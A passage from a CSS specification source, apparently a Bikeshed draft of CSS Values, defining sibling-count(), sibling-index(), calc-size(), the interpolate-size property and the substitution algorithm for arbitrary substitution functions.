		so the default rules for an omitted <<dashed-ident>>
		in the <<random-value-sharing>> isn't applied.
		Instead, it's evaluated when it's substituted into 'width' and 'height',
		so each gets a distinct [=random caching key=],
		and this ends up defining a random <em>rectangle</em>,
		rather than a square.

		Similarly, a lack of ''random()/element-shared'' in the <<random-value-sharing>>
		won't cause the function to determine its "element identifier"
		until substitution actually happens,
		which might be <em>after</em> '--size' has inherited through multiple elements,
		so again multiple elements using ''var(--size)''
		would end up with distinct random values
		rather than sharing one value defined on their ancestor.

		The first issue can be resolved,
		if desired,
		by specifying a <<dashed-ident>> explicitly,
		rather than relying on the defaulting rules.

		Both issues can be resolved
		by instead using a [=registered custom property=]
		with a non-universal grammar,
		so its value is parsed and evaluated on the element it's declared on,
		and the ''random()'' function will be resolved on the element
		before it inherits.
	</div>


<!-- Big Text: counting

 ███▌   ███▌  █▌  █▌ █    █▌ █████▌ ████ █    █▌  ███▌
█▌  █▌ █▌  █▌ █▌  █▌ █▌   █▌   █▌    ▐▌  █▌   █▌ █▌  █▌
█▌     █▌  █▌ █▌  █▌ ██▌  █▌   █▌    ▐▌  ██▌  █▌ █▌
█▌     █▌  █▌ █▌  █▌ █▌▐█ █▌   █▌    ▐▌  █▌▐█ █▌ █▌ ██▌
█▌     █▌  █▌ █▌  █▌ █▌  ██▌   █▌    ▐▌  █▌  ██▌ █▌  █▌
█▌  █▌ █▌  █▌ █▌  █▌ █▌   █▌   █▌    ▐▌  █▌   █▌ █▌  █▌
 ███▌   ███▌   ███▌  █▌   ▐▌   █▌   ████ █▌   ▐▌  ███▌
-->

<h2 id="tree-counting">
Tree Counting Functions: the ''sibling-count()'' and ''sibling-index()'' notations</h2>

	The <dfn>sibling-count()</dfn> [=functional notation=] represents,
	as an <<integer>>,
	the total number of child <l spec=css-display-3>[=elements=]</l>
	in the parent of the element on which the notation is used.

	The <dfn>sibling-index()</dfn> [=functional notation=] represents,
	as an <<integer>>,
	the index of the element
	on which the notation is used
	among its [=inclusive siblings=].
	Like '':nth-child()'',
	''sibling-index()'' is 1-indexed.

	Note: The ''counter()'' function can provide similar abilities as ''sibling-index()'',
	but returns a <<string>> rather than an <<integer>>.

	When used on an [=element-backed pseudo-element=] which is also a real element,
	the tree counting functions resolve for that real element. For other [=pseudo-elements=]
	they resolve as if they were resolved against the
	originating element. It follows that for nested pseudo-elements the resolution
	will recursively walk the originating elements until a real element is found.

	A tree counting function is a [=tree-scoped reference=] where it references
	an implicit [=tree-scoped name=] for the element it resolves against. This is
	done to not leak tree information to an outer [=tree=]. A tree counting
	function that is scoped to an outer [=tree=] relative to the element it
	resolves against, will alway resolve to 0.

	<div class=example>
		Examples of how ''sibling-index()'' resolves for pseudo-elements, and when the
		rule and the element come from different [=trees=]:

		<pre class=lang-css>
		#target::before {
			/* Based on the sibling-index() of #target */
			width: calc(sibling-index() * 10px);
		}
		#target::before::marker {
			/* Based on the sibling-index() of #target */
			width: calc(sibling-index() * 10px);
		}
		::slotted(*)::before {
			/* Based on the sibling-index() of the slotted element - outer tree */
			width: calc(sibling-index() * 10px);
		}
		::part(my-part) {
			/* 0px - inner tree */
			width: calc(sibling-index() * 10px);
		}
		:host {
			/* Based on the hosts sibling-index() - outer tree */
			width: calc(sibling-index() * 10px);
		}
		</pre>

	</div>

	Note: These functions, to match [=selectors=] like '':nth-child()'', operate on the DOM tree,
	rather than the [=flat tree=] like most CSS values do.
	They may, in the future, have variants that support counting [=flat tree=] siblings.

	Note: These functions may, in the future,
	be extended to accept an ''of <<complex-real-selector-list>>'' argument,
	similar to '':nth-child()'',
	to filter on a subset of the children.


<!-- Big Text: calc-size()

 ███▌   ███▌  █▌     ███▌         ███▌  ████ █████▌ █████▌   ██ ██
█▌  █▌ ▐█ ▐█  █▌    █▌  █▌       █▌  █▌  ▐▌      ▐▌ █▌      █▌   ▐█
█▌     █▌  █▌ █▌    █▌           █▌      ▐▌     ▐▌  █▌     █▌     ▐█
█▌     █▌  █▌ █▌    █▌     ████▌  ███▌   ▐▌    █▌   ████   █▌     ▐█
█▌     █████▌ █▌    █▌               █▌  ▐▌   █     █▌     █▌     ▐█
█▌  █▌ █▌  █▌ █▌    █▌  █▌       █▌  █▌  ▐▌  █      █▌      █▌   ▐█
 ███▌  █▌  █▌ █████  ███▌         ███▌  ████ █████▌ █████▌   ██ ██
-->

<h2 id=calc-size>
Calculating With Intrinsic Sizes: the ''calc-size()'' function</h2>

	When transitioning between two [=definite=] sizes,
	or slightly adjusting an existing definite size,
	''calc()'' works great:
	halfway between ''100%'' and ''20px'' is ''calc(50% + 10px)'',
	''20%'' with a margin of ''15px'' on either side is ''calc(20% + 15px * 2)'',
	etc.

	But these operations are no longer possible if the size you want to adjust
	or transition to/from
	is an [=intrinsic size=],
	for both practical and backward-compatibility reasons.
	The ''calc-size()'' function
	allows math to be performed on intrinsic sizes
	in a safe, well-defined way.

	<pre class=prod>
	<dfn function lt="calc-size()">&lt;calc-size()></dfn> = calc-size( <<calc-size-basis>>, <<calc-sum>> )

	<dfn>&lt;calc-size-basis></dfn> = [ <<size-keyword>> | <<calc-size()>> | any | <<calc-sum>> ]
	</pre>

	The <dfn>&lt;size-keyword></dfn> production
	matches any sizing keywords allowed in the context.
	For example, in 'width',
	it matches ''width/auto'', ''width/min-content'', ''width/stretch'', etc.

	<details class=note>
		<summary>Why can ''calc-size()'' be nested?</summary>

		Allowing ''calc-size()'' as the basis argument
		means that authors can use a variable as the basis
		(like ''calc-size(var(--foo), size + 20px)'')
		and it will <em>always work</em>
		as long as the variable was originally valid for the property.

		Doing the same with just ''calc()'' doesn't work -
		for example, if you have ''--foo: calc-size(min-content, size + 20px)'',
		or even just ''--foo: min-content'',
		then ''calc( (var(--foo)) + 20px )'' fails.

		The nesting is simplified away during interpolation,
		and at used-value time,
		so the basis always ends up as a simple value
		by the time interpolation and other effects occur;
		see [[#simplifying-calc-size]].
	</details>

	The first argument given is the <dfn>calc-size basis</dfn>,
	and the second is the <dfn>calc-size calculation</dfn>.
	For either argument,
	if a <<calc-sum>> is given,
	its [=CSSNumericValue/type=] must [=CSSNumericValue/match=] <<length-percentage>>,
	and it must resolve to a <<length>>.

	Within the [=calc-size calculation=],
	if the [=calc-size basis=] is not ''calc-size()/any'',
	the keyword <dfn for=calc-size() value>size</dfn> is allowed.
	This keyword is a <<length>>,
	and resolves at [=used value=] time.

	''calc-size()'' represents an [=intrinsic size=].
	It is specifically <em>not</em> a <<length>>;
	any place that wants to accept a ''calc-size()''
	must explicitly include it in its grammar.

	<details class=note>
		<summary>Why not just allow intrinsic keywords in ''calc()''?</summary>

		In theory, rather than introducing ''calc-size()'',
		we could have defined ''calc(auto * .5)'' to be valid,
		allowing interpolation to work as normal.

		This has the minor issue that mixing keywords still wouldn't be allowed,
		but it wouldn't be as obvious
		(that is, ''calc((min-content + max-content)/2)'' looks reasonable,
		but would be disallowed).

		The larger issue, tho,
		is that this wouldn't allow us to smoothly transition percentages.
		''calc(50%)'' is only half the size of ''calc(100%)''
		when percentages are [=definite=] in the context;
		if they're not, the two values will usually be the same size
		(depending on the context, either ''0px'' or ''width/auto''-sized).

		Using a new function that explicitly separates
		the size you're calculating with
		from the calculation itself
		lets us get smooth interpolation in <em>all</em> cases.

		An additional consideration is that there are many effects,
		some small and some large,
		that depend on whether an element is intrinsically sized
		or definite.
		Using ''calc()'' would mean that the answer to the question
		"is the element intrinsically-sized"
		can have one answer in the middle of a transition
		("yes", for ''calc(min-content * .2 + 20px * .8))''),
		but a different answer at the end of the transition
		("no", for ''calc(20px)''),
		causing the layout to jump at the end of an otherwise-smooth transition.

		(This is similar to the stacking-layer changes that can occur
		when animating from ''opacity:1'' to ''opacity: 0'';
		any non-''1'' value forces a stacking context.
		With 'opacity' you can get around this by animating to ''.999'',
		which is visually indistinguishable from ''1''
		but forces a stacking context.
		It's not as reasonable to ask people to animate to ''calc(auto * .0001)''
		to ensure it retains its intrinsic-ness.)

		Again, using a new function that identifies itself
		as being <em>inherently</em> an intrinsic size,
		like ''calc-size(auto, 20px)'',
		means we can maintain stable layout behaviors the entire time,
		even when the actual size is a definite length.
	</details>

<h3 id=simplifying-calc-size>
Simplifying ''calc-size()''</h3>

	Similar to [=math functions=],
	at both [=specified value=] and [=computed value=] times
	the [=calc-size calculation=]
	(and the [=calc-size basis=], if it's a <<calc-sum>>)
	are simplified to the extent possible,
	as defined in [[css-values-4#calc-simplification]].

	<div algorithm>
		To <dfn export for=calc-size()>canonicalize for interpolation</dfn>
		a ''calc-size()'' function:

		<dl class=switch>
			: If the [=calc-size basis=] is a ''calc-size()'' function itself
			:: The [=calc-size basis=] of the outer function
				is replaced with that of the inner function,
				and the inner function's [=calc-size calculation=]
				is [=substitute into a calc-size calculation|substituted=]
				into the outer function's [=calc-size calculation=].

			: Otherwise, if the [=calc-size basis=] is a <<calc-sum>> whose
				[=CSSNumericValue/type=] [=CSSNumericValue/matches=] <<length>>
				(no percentage present)
			:: Replace the basis with ''calc-size/any'',
				and the original basis is [=substitute into a calc-size calculation|substituted=]
				into the [=calc-size calculation=].

			: Otherwise, if the [=calc-size basis=] is any other <<calc-sum>>
				(contains a percentage)
			:: Replace the basis with ''100%''
				and the original basis is [=de-percentify a calc-size calculation|de-percentified=],
				then [=substitute into a calc-size calculation|substituted=]
				into the [=calc-size calculation=].
		</dl>

		(The above is performed recursively, if necessary.)

		If any [=substitute into a calc-size calculation=]
		returns failure,
		the entire operation immediately returns failure.

		Note: After canonicalization,
		a ''calc-size()'' function
		will only have a [=calc-size basis=] that's a keyword,
		or the value ''100%''.
	</div>

	<details class=note>
		<summary>Why are percentages simplified in this way?</summary>

		This percentage simplification
		ensures that transitions work linearly.

		For example, say that 100% is 100px, for simplicity.

		If you transitioned from `calc-size(100px, size * 2)`
		(resolves to 200px)
		to `calc-size(50%, size - 20px)`
		(resolves to 30px)
		by interpolating both the arguments,
		then at the halfway point
		you'd have `calc-size(75px, size * 2 * .5 + (size - 20px) * .5)`
		(resolves to 102.5px),
		which is *not* halfway between 30 and 200
		(that would be 115px).
		Interpolating one argument,
		then substituting it into another calculation
		and interpolating that one too,
		generally gives <em>quadratic</em> interpolation behavior.

		Instead, we substitute the basis arg into the calculation arg,
		so you get `calc-size(percentage, 100px * 2)`
		and `calc-size(percentage, (size * .5) - 20px)`,
		and when interpolated,
		at the halfway point you get
		`calc-size(percentage, 100px * 2 * .5 + ((size * .5) - 20px) * .5)`,
		which does indeed resolve to 115px, as expected.
		Other points in the transition are similarly linear.
	</details>

	<div algorithm>
		To <dfn export>de-percentify a calc-size calculation</dfn> |calc|:

		1. Replace every instance of a <<percentage-token>> in |calc|
			with ''(size * N)'',
			where N is the percentage's value divided by 100.
			Return |calc|.

		Note: For example,
		''50% + 20px''
		becomes ''(size * .5) + 20px''.
	</div>

	<div algorithm>
		To <dfn export>substitute into a calc-size calculation</dfn> |calc|
		a value |insertion value|:

		1. If |calc| doesn't have the ''calc-size()/size'' keyword in it,
			do nothing.

		2. Otherwise, replace every instance of the ''calc-size()/size'' keyword
			in |calc|
			with |insertion value|,
			wrapped in parentheses.

		3. If this substitution would produce a value
			larger than an UA-defined limit,
			return failure.

			Note: This is intentionally identical
			to the protection against substitution attacks
			defined for variable substitution;
			see [[css-variables-1#long-variables]].
			However, the use-cases for very long ''calc-size()'' values
			are much less than for long custom properties,
			so UAs might wish to impose a smaller size limit.
	</div>

<h3 id=resolving-calc-size>
Resolving ''calc-size()''</h3>

	A ''calc-size()'' is treated, in all respects,
	as if it were its [=calc-size basis=]
	(with ''calc-size()/any'' acting as an unspecified [=definite=] size).

	When actually performing layout calculations, however,
	the size represented by its [=calc-size basis=]
	is modified to be the value of its [=calc-size calculation=],
	with the ''calc-size()/size'' keyword
	evaluating to the [=calc-size basis's=] original size.

	(If the [=calc-size basis=] is <dfn for="calc-size()" value>any</dfn>,
	the ''calc-size()'' is a [=definite=] length,
	equal to its [=calc-size calculation=].)

	<div class=example>
		For example,
		an element with ''height: calc-size(auto, round(up, size, 20px))''
		will be treated identically to an element with ''height: auto'',
		but with its size rounded up to the nearest multiple of ''20px''.
	</div>

	When evaluating the [=calc-size calculation=],
	if percentages are not definite in the given context,
	they resolve to ''0px''.
	Otherwise, they resolve as normal.

	(A percentage in the [=calc-size basis=]
	is treated differently;
	[[#simplifying-calc-size|simplification]]
	moves the percentage into the [=calc-size calculation=]
	and replaces it with ''size'' references.
	The [=calc-size basis=] then becomes ''100%'',
	behaving as whatever ''100%'' would normally do in that context,
	including possibly making a property [=behave as auto=], etc.)

	<div class=note>
		Percentages in the basis work as normal
		so you can always smoothly transition to <em>any</em> size,
		regardless of its value or behavior.
		For example, without ''calc-size()'',
		transitioning from ''100%'' to ''0px''
		only works smoothly if the percentage is [=definite=];
		if it's not, then during the entire transition
		the property might [=behave as auto=]
		and not actually change size at all.

		Percentages in the calculation, on the other hand,
		are resolved to 0 when indefinite
		to avoid making the ''calc-size()''
		potentially act in two different ways;
		there are some cases where a ''width/min-content'' size
		will cause different layout effects than a ''100%'' size,
		and so a ''calc-size()'' has to masquerade as one or the other.
	</div>


<h3 id=interp-calc-size>
Interpolating ''calc-size()''</h3>

	Two ''calc-size()'' functions can be interpolated if
	(after being [=canonicalized for interpolation=]):

	<dl class=switch>
		: Either function returned failure from being [=canonicalized for interpolation=]
		:: The values cannot be interpolated.

		: Both [=calc-size basises=] are identical
		:: The result's [=calc-size basis=] is the that basis value.

		: Either [=calc-size basis=] is ''calc-size()/any''
		:: The result's [=calc-size basis=] is the non-''calc-size()/any'' basis.
	</dl>

	The result's [=calc-size calculation=]
	is the interpolation of the two input [=calc-size calculations=].

	Note: These interpolation restrictions ensure that a ''calc-size()''
	doesn't try to act in two different ways at once;
	there are some cases where a ''width/min-content'' and ''width/max-content''
	would produce different layout behaviors, for example,
	so the ''calc-size()'' has to masquerade as one or the other.
	This, unfortunately, means you can't transition between keywords,
	like going from ''width/auto'' to ''width/min-content''.

	Some ''calc-size()'' values can also be interpolated
	with a <<length-percentage>> or an <<intrinsic-size-keyword>>.
	To determine whether the values can interpolate
	and what the interpolation behavior is,
	treat the non-''calc-size()'' value
	as ''calc-size(any,  <var ignore>value</var> )'' if the value is a <<calc-sum>>
	or as ''calc-size( <var ignore>value</var> , size)'' otherwise,
	and apply the rules above.

	<div class=example>
		For example, ''calc-size()'' allows interpolation to/from ''height: auto'':

		<pre class=lang-css>
		details {
			transition: height 1s;
		}
		details::details-content {
			display: block;
		}
		details[open]::details-content {
			height: auto;
		}
		details:not([open])::details-content {
			height: calc-size(any, 0px);
		}
		</pre>

		This will implicitly interpolate
		between ''calc-size(auto, size)'' and ''calc-size(any, 0px)''.
		Half a second after opening the <{details}>,
		the ::details-content wrapper's 'height'
		will be ''calc-size(auto, size * .5)'',
		half its open size;
		thruout the transition it'll smoothly animate its height.
	</div>

	Note: ''calc-size()'' is designed such that
	transitioning to/from ''calc-size(any, [=definite=] length)''
	will <em>always</em> work smoothly,
	regardless of how the other side of the transition is specified.

	Note: This "upgrade a plain value into a ''calc-size()''" behavior
	puts <<length-percentage>> values into the [=calc-size calculation=].
	This allows values with percentages
	to interpolate with intrinsic size keywords,
	but does mean that when a percentage isn't [=definite=],
	it'll resolve to zero.
	If you want to resolve to the actual size the percentage would make the element,
	explicitly write a ''calc-size()''
	with the value in its [=calc-size basis=],
	like ''calc-size(50%, size)''.


<h3 id=interpolate-size>
Interpolating sizing keywords: the 'interpolate-size' property</h3>

	Note: If we had a time machine, this property wouldn't need to exist.
	It exists because many existing style sheets assume that
	intrinsic sizing keywords
	(such as ''width/auto'', ''width/min-content'', etc.)
	cannot animate.
	Therefore this property exists to allow style sheets to choose
	to get the expected behavior.
	Specifying ''interpolate-size: allow-keywords'' on the root element
	chooses the new behavior for the entire page.
	We suggest doing this whenever compatibility isn't an issue.

	<pre class="propdef">
	Name: interpolate-size
	Value: numeric-only | allow-keywords
	Initial: numeric-only
	Inherited: yes
	Applies to: all elements
	Computed value: as specified
	Animation type: not animatable
	</pre>

	<dl dfn-for="interpolate-size" dfn-type="value">
		<dt><dfn>numeric-only</dfn>
		<dd>
			An <<intrinsic-size-keyword>> cannot be interpolated.
		</dd>

		<dt><dfn>allow-keywords</dfn>
		<dd>
			Two values can also be interpolated if
			one of them is an <<intrinsic-size-keyword>>
			and the other is a <<length-percentage>>.
			This is done by treating
			the <<intrinsic-size-keyword>> <var>keyword</var>
			as though it is ''calc-size(<var>keyword</var>, size)''
			and applying the rules in [[#interp-calc-size]].
			In other cases,
			an <<intrinsic-size-keyword>> still cannot be interpolated.
		</dd>
	</dl>

	The value of 'interpolate-size' that matters
	is the computed value on the element
	at the time the animation might start.
	For CSS transitions,
	this means the value in the [=after-change style=].
	An animation is not stopped or started later
	because 'interpolate-size' changes.

<!-- Big Text: Arbitrary

 ███▌  ████▌  ████▌  ████ █████▌ ████▌   ███▌  ████▌  █   ▐▌
▐█ ▐█  █▌  █▌ █▌  █▌  ▐▌    █▌   █▌  █▌ ▐█ ▐█  █▌  █▌ ▐▌  █
█▌  █▌ █▌  █▌ █▌  █▌  ▐▌    █▌   █▌  █▌ █▌  █▌ █▌  █▌  █ ▐▌
█▌  █▌ ████▌  █████   ▐▌    █▌   ████▌  █▌  █▌ ████▌   ▐▌█
█████▌ █▌▐█   █▌  █▌  ▐▌    █▌   █▌▐█   █████▌ █▌▐█     █▌
█▌  █▌ █▌ ▐█  █▌  █▌  ▐▌    █▌   █▌ ▐█  █▌  █▌ █▌ ▐█    █▌
█▌  █▌ █▌  █▌ ████▌  ████   █▌   █▌  █▌ █▌  █▌ █▌  █▌   █▌
-->

<h2 id=arbitrary-substitution>
Appendix A: Arbitrary Substitution Functions</h2>

	An <dfn export>arbitrary substitution function</dfn>
	is a [=functional notation=] that will,
	when resolved,
	substitute itself with other values
	that are unknowable at parse time.

<h3 id=substitution>
Substitution</h3>

	Each [=arbitrary substitution function=]
	must define how to <dfn export local-lt="replace|replacement">replace an arbitrary substitution function</dfn>
	for itself,
	given a list of arguments
	and a [=/stack=] of [=substitution contexts=],
	and likely involving further [=substitution=].
	It must return a sequence of [=component values=]
	(fully resolved,
	so no further [=arbitrary substitution functions=] exist in the sequence),
	which it will be replaced by.

	<div class=note>
		A function's [=replacement=] algorithm is called
		with the results of [[#early-resolution|early substitution]]
		and parsing with the function's [=argument grammar=],
		but nothing more.
		The algorithm will have to further [=substitute=] each argument it deals with,
		before [=CSS/parsing=] it as the appropriate part of its <em>normal</em> grammar,
		and then performing whatever logic it needs.

		It might leave some arguments completely unsubstituted
		(for example, the fallback argument of an ''attr()'' function,
		if the attribute value exists and correctly parses),
		or only parse some arguments based on the results of evaluating other arguments
		(for example, later <<if-condition>> values in an ''if()'' function
		are only evaluated if earlier ones evaluated as false,
		and only the result in the "successful" <<if-branch>> is evaluated).
	</div>


	<div algorithm>
		To <dfn export local-lt="substitute|substitution" lt="substitute arbitrary substitution function|arbitrary substitution">substitute arbitrary substitution functions</dfn>
			in a sequence of [=component values=] |values|,
			given an optional [=substitution context=] |context|:

		1. [=Guard=] |context| for the remainder of this algorithm.
			If |context| is marked as a [=cyclic substitution context=],
			return the [=guaranteed-invalid value=].

		2. [=list/For each=] [=arbitrary substitution function=] |func| in |values|
			(ordered via a depth-first pre-order traversal)
			that is not nested in the contents of another [=arbitrary substitution function=]:

			1. [=Substitute early-invoked functions=] in |func|'s contents,
				and let |early result| be the result.

			2. If |early result| contains the [=guaranteed-invalid value=],
				replace |func| in |values| with the [=guaranteed-invalid value=]
				and [=iteration/continue=].

			3. [=CSS/Parse=] |early result| according to |func|'s [=argument grammar=].
				If this returns failure,
				replace |func| in values with the [=guaranteed-invalid value=]
				and [=iteration/continue=];
				otherwise,
				let |arguments| be the result.

			3. [=Replace an arbitrary substitution function=] for |func|,
				given |arguments|,
				as defined by that function.
				Let |result| be the returned list of [=component values=].

			4. If |result| contains the [=guaranteed-invalid value=],
				replace |func| in |values| with the [=guaranteed-invalid value=].
				Otherwise, replace |func| in |values| with |result|.

		3. If |context| is marked as a [=cyclic substitution context=],
			return the [=guaranteed-invalid value=].
			<span class=note>Nested [=arbitrary substitution functions=]
				may have marked |context| as [=cyclic substitution context|cyclic=]
				in step 2.</span>
		4. Return |values|.
	</div>

	<div algorithm>
		A <dfn export>substitution context</dfn>
		is a [=/list=] consisting of:
		the dependency type, as a string;
		one or more additional values, specific to the dependency type.
		(Usually, just one additional string.)

		As [=arbitrary substitution functions=] are [=resolved=]
		they accumulate [=substitution contexts=]
		which affect how <em>nested</em> [=arbitrary substitution functions=] resolve.

		<div class=example>
			For example, while resolving a ''var(--foo)'' function,
			the value of the ''--foo'' property is fetched and [=substituted=],
			with a [=substitution context=] of <code>&bs<<;"property", "--foo"&bs>>;</code>,
			preventing any nested [=arbitrary substitution functions=]
			from cyclicly depending on ''--foo'' as well.

			While resolving an ''attr(foo)'' function,
			the value of the ''foo'' attribute on the element is fetched and [=substituted=],
			with a [=substitution context=] of <code>&bs<<;"attribute", "foo"&bs>>;</code>,
			preventing any nested functions
			from cyclicly depending on the ''foo'' attribute as well.
		</div>

		The types of [=substitution contexts=] are currently:
		* "property", followed by a property name,
			and optionally a [=custom function=].
		* "attribute", followed by an attribute name.
		* "function", followed by a [=custom function=].
	</div>

	<div>

		As [=substitution=] is recursively invoked
		by nested [=arbitrary substitution functions=] being [=replaced=],
		[=guarded|guards=] "stack up" the [=substitution contexts=] passed to each invocation.

		When a [=substitution context=] is <dfn export>guarded</dfn>,
		it means that, for the duration of the guard,
		an attempt to guard a matching [=substitution context=] again
		will mark all [=substitution contexts=] involved in the cycle as
		<dfn export>cyclic substitution contexts</dfn>.

		<div class=example>
			For example, given the following style:

			<pre highlight=css>
			.foo {
				--one: var(--two);
				--two: var(--one);
			}
			</pre>

			[=Property replacement=] for '--one'
			invokes [=substitution=] with a [=substitution context=] of &bs<<;"property", "--one"&bs>>;.
			[=Substitution=] sees the ''var(--two)'' function
			and invokes [=replace an arbitrary substitution function|replace a var() function=],
			which fetches the values of '--two' and [=substitutes=] again,
			this time with a [=substitution context=] of &bs<<;"property", "--two"&bs>>;.
			That [=substitution=] sees the ''var(--one)'' function
			and invokes [=replace an arbitrary substitution function|replace a var() function=],
			which fetches the value of '--one' and [=substitutes=] again,
			with a [=substitution context=] of &bs<<;"property", "--one"&bs>>;.

			This, finally, is a [=cyclic substitution context=],
			since it matches the [=substitution context=] from the first [=substitution=],
			causing the [=substitution=] to just produce the [=guaranteed-invalid value=].
			This percolates back up the nested invocations,
			eventually resulting in '--one' becoming [=invalid at computed-value time=].
			The same happens, in opposite order,
			when performing [=property replacement=] on '--two'.
		</div>

		<div class=example>
			When a [=cyclic substitution contexts|cycle is detected=],
			all participants in the cycle become invalid.
			For example,
			all of the following declarations
			become [=invalid at computed-value time=].

			<pre highlight=css>
			.foo {
				--one: var(--two);
				--two: var(--three, baz);
				--three: var(--one);
			}
			</pre>

			The presence of a fallback in <code>var(--three, baz)</code>
			does not affect the outcome.
		</div>
	</div>



<!-- Big Text: early

█████▌  ███▌  ████▌  █▌    █   ▐▌
█▌     ▐█ ▐█  █▌  █▌ █▌    ▐▌  █
█▌     █▌  █▌ █▌  █▌ █▌     █ ▐▌
████   █▌  █▌ ████▌  █▌     ▐▌█
█▌     █████▌ █▌▐█   █▌      █▌
█▌     █▌  █▌ █▌ ▐█  █▌      █▌
█████▌ █▌  █▌ █▌  █▌ █████   █▌
-->

<h3 id=early-resolution>
Argument Grammars and Spread Syntax</h3>

	Each [=arbitrary substitution function=],
	in addition to its standard grammar,
	must define an <dfn export>argument grammar</dfn>:
	a much less specific and less restrictive version of its normal grammar,
	which serves solely to separate the function's contents
	into distinct arguments.

	Note: Typically, an [=argument grammar=] will only consist of some punctuation
	(usually commas)
	and the <<declaration-value>> production.
	See the ''if()'' function for an example.

	Each function, in its [=replacement=] algorithm,
	will apply [=substitution=] to its arguments
	and then [=CSS/parse=] them
	according to the appropriate parts of its standard grammar.
	As it is in control of this process, however,
	some arguments can be left unresolved and unparsed.

	<div class=example>
		For example, the ''if()'' function's [=argument grammar=]
		merely divides its value into alternating "test" and "result" arguments,
		separated by `:` and `;`.
		It then evaluates tests one by one,
		and only evaluates a single argument
		matching the first successful test.

		This allows ''if()'' to achieve behavior similar to `if` constructs
		in other programming languages,
		where later "branches" aren't evaluated at all
		(beyond a basic parse)
		and thus can't cause errors in cases that would be caught by earlier branches.

		This means the following is a valid declaration
		when the viewport is ''600px'' or wider,
		resulting in the value ''blue''.
		Only when the viewport is narrower than ''600px''
		does the ''if()'' trigger cyclic behavior
		and cause ''--color'' to be [=invalid at computed-value time=].

		<pre highlight=css>
		.foo {
			--color: if(media(width >= 600px): blue; else: var(--color));
		}
		</pre>
	</div>

	This also means that, ordinarily,
	parsing according to a function's [=argument grammar=]
	<em>does not</em> see the results of any nested [=arbitrary substitution functions=];
	the contents are divided into arguments
	based only on the values literally present inside the function.

	<div class=example>
		For example, in ''random-item(auto, var(--foo), var(--bar))'',
		the ''random-item()'' function selects between two random values,
		either the result of ''var(--foo)'' or ''var(--bar)''.
		This is true even if one of them contains commas, like:

		<pre highlight=css>
		.random-fonts {
			--foo: Courier, monospace;
			--bar: Arial, serif;
			font-family: random-item(auto, var(--foo), var(--bar));
			/* equivalent to: */
			font-family: random-item(auto, {Courier, monospace}, {Arial, serif});

			/* and thus, randomly, equivalent to either */
			font-family: Courier, monospace;
			/* or */
			font-family: Arial, serif;
		}
		</pre>

		This behavior ensures that authors don't have to defensively wrap
		any arguments containing [=arbitrary substitution functions=]
		in ''{}'' characters;
		what you see is what you get.
	</div>

	Note: This is different from the behavior of [=arbitrary substitution functions=]
	substituted into "normal" functions or properties.
	For example, ''--colors: red, blue, green; background: linear-gradient(var(--colors));''
	works in the expected fashion,
	producing a gradient with three color stops,
	because normal functions don't do this separate [=argument grammar=] parse.

	This behavior can be worked around
	by immediately preceding an [=arbitrary substitution function=]
	with the <dfn export>spread syntax</dfn> ''...'',
	indicating that it must be resolved "early",
	before division into arguments.

	<div class=example>
		For example, the following <strong>will not work</strong>:

		<pre highlight=css>
		.invalid-if {
			--if-clause: media(width >= 600px): blue;
			color: if(var(--if-clause); else: green;);
		}
		</pre>

		The ''if()'' function entirely fails to parse
		according to its [=argument grammar=]:
		there's no `:` character separating the test from the value in the first branch.

		To get the desired behavior of "spreading" the variable
		into the function's arguments,
		use ''...''':

		<pre highlight=css>
		.valid-if {
			--if-clause: media(width >= 600px): blue;
			color: if(...var(--if-clause); else: green;);
		}
		</pre>
	</div>

	The [=spread syntax=] is three distinct <<delim-token>>s with the value `"."`,
	all of which must not contain any whitespace between them,
	or between the group and the subsequent [=arbitrary substitution function=].

	<div class=example>
		That is, ''...var(--foo)'' is a valid use of the [=spread syntax=],
		but ''... var(--foo)'' is not,
		nor is ''. . .var(--foo)''.

		The latter usages will result in the [=arbitrary substitution function=]
		being evaluated at the normal time,
		<em>after</em> the [=argument grammar=] has been applied,
		and the period characters being part of the function's value.
	</div>

	Note: The [=spread syntax=] is only used
	<em>within</em> an [=arbitrary substitution function's=] value,
	as it's only referenced by the [=substitution=] algorithm
	when parsing an [=arbitrary substitution function=].
	Using it outside of that,
	such as in ''width: ...var(--sidebar-width);'',
	is not recognized as an early invocation;
	instead, the periods are just part of the property's value,
	unrelated to the ''var()'' function,
	and would in this case make the 'width' property invalid.
	(This is similar to JavaScript,
	where this syntax was borrowed from,
	where `[1, ...arr, 5]` is valid,
	but `var x = ...arr;` is not.)

	<div algorithm>
		To <dfn export>substitute early-invoked functions</dfn>
		in a sequence of [=component values=] |values|:

		1.  [=list/For each=] [=arbitrary substitution function=] |func| in |values|
			(ordered via a depth-first pre-order traversal)
			using the [=spread syntax=]
			that is not nested in the contents of another [=arbitrary substitution function=]:

			1. [=Substitute early-invoked functions=] in |func|'s contents,
				and let |early result| be the result.

			2. If |early result| contains the [=guaranteed-invalid value=],
				replace |func| in |values| with the [=guaranteed-invalid value=]
				and [=iteration/continue=].

			3. [=CSS/Parse=] |early result| acccording to |func|'s [=argument grammar=].
				If this returns failure,
				replace |func| in values with the [=guaranteed-invalid value=]
				and [=iteration/continue=];
				otherwise,
				let |arguments| be the result.

			1. [=Replace an arbitrary substitution function=] for |func|,
				given |arguments|,
				as defined by that function.
				Let |result| be the returned list of [=component values=].

			2. If |result| contains the [=guaranteed-invalid value=],
				replace |func| in |values| with the [=guaranteed-invalid value=].
				Otherwise, replace |func| in |values| with |result|.

		2. Return |values|.
	</div>


<!-- Big Text: props

████▌  ████▌   ███▌  ████▌   ███▌
█▌  █▌ █▌  █▌ █▌  █▌ █▌  █▌ █▌  █▌
█▌  █▌ █▌  █▌ █▌  █▌ █▌  █▌ █▌
████▌  ████▌  █▌  █▌ ████▌   ███▌
█▌     █▌▐█   █▌  █▌ █▌         █▌
█▌     █▌ ▐█  █▌  █▌ █▌     █▌  █▌
█▌     █▌  █▌  ███▌  █▌      ███▌
-->

<h3 id=resolve-property>
Resolving in Properties</h3>

	Unless otherwise specified,
	[=arbitrary substitution functions=] can be used
	in place of any part of any property's value
	(including within other [=functional notations=]);
	and are not valid in any other context.

	ISSUE: Should any of these functions be valid in contexts outside of properties?

	<wpt pathprefix="css/css-variables">
	variable-external-font-face-01.html
	variable-font-face-01.html
	variable-font-face-02.html
	</wpt>

	<div class='example'>
		For example, the following code incorrectly attempts to use a variable as a property name:

		<pre>
		.foo {
			--side: margin-top;
			var(--side): 20px;
		}
		</pre>

		This is <em>not</em> equivalent to setting ''margin-top: 20px;''.
		Instead, the second declaration is simply thrown away as a syntax error
		for having an invalid property name.
	</div>

	If a property value contains one or more [=arbitrary substitution functions=],
	and all of those functions are themselves syntactically valid
